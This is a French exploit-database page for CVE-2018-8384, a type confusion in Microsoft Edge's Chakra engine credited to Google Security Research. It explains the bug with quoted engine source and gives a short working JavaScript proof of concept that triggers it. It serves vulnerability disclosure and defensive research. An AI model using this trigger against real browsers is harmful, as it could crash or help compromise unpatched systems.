Exploit matérialisé

CVE-2018-8384

CRITICAL

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB dos windows Vérifié

Source

Microsoft Edge Chakra - 'PathTypeHandlerBase::SetAttributesHelper' Type Confusion

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code js

/*
Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
{
    currentType = predTypeHandler->GetPredecessorType();
    if (currentType == nullptr)
    {
#ifdef PROFILE_TYPES
        instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
#endif
        // This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
        // For now, just punt this case.
        return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
    }
    predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
}

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
{
    ObjectSlotAttributes * attributes = this->GetAttributeArray();
    if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
    {
        this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
        // We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
        // as it behaves differently from a normal set property.
        PropertyValueInfo::SetNoCache(info, instance);
        newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
        newTypeHandler->SetSlotUnchecked(instance, index, value);
        return true;
    }
}

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.

PoC:
*/

let o = {
    get a() {},
    0: 0,  // Deoptimizing object header inlining
    a: 0x1234
};

o.a;  // Type confusion